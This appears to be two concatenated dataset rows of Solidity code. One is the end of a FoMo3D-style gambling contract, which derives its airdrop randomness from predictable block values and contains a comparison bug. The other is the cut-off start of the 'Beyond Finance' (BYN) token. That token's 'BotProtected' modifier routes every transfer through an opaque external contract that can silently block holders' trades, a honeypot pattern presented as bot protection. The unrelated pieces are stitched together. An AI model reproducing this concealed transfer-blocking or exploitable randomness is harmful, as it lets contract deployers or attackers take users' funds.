if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
FeeAddr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
Divies.deposit.value(_p3d)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
FeeAddr.transfer(_com);
uint256 _p3d;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
Divies.deposit.value(_p3d)();
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth.mul(2) / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
(msg.sender == 0xfc256291687150b9dB4502e721a9e6e98fd1FE93 || msg.sender == 0xfc256291687150b9dB4502e721a9e6e98fd1FE93),
"only team HoDL4D can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface JIincForwarderInterface {
function deposit() external payable;
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,158 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BYN is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Beyond Finance";
string public symbol = "BYN";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
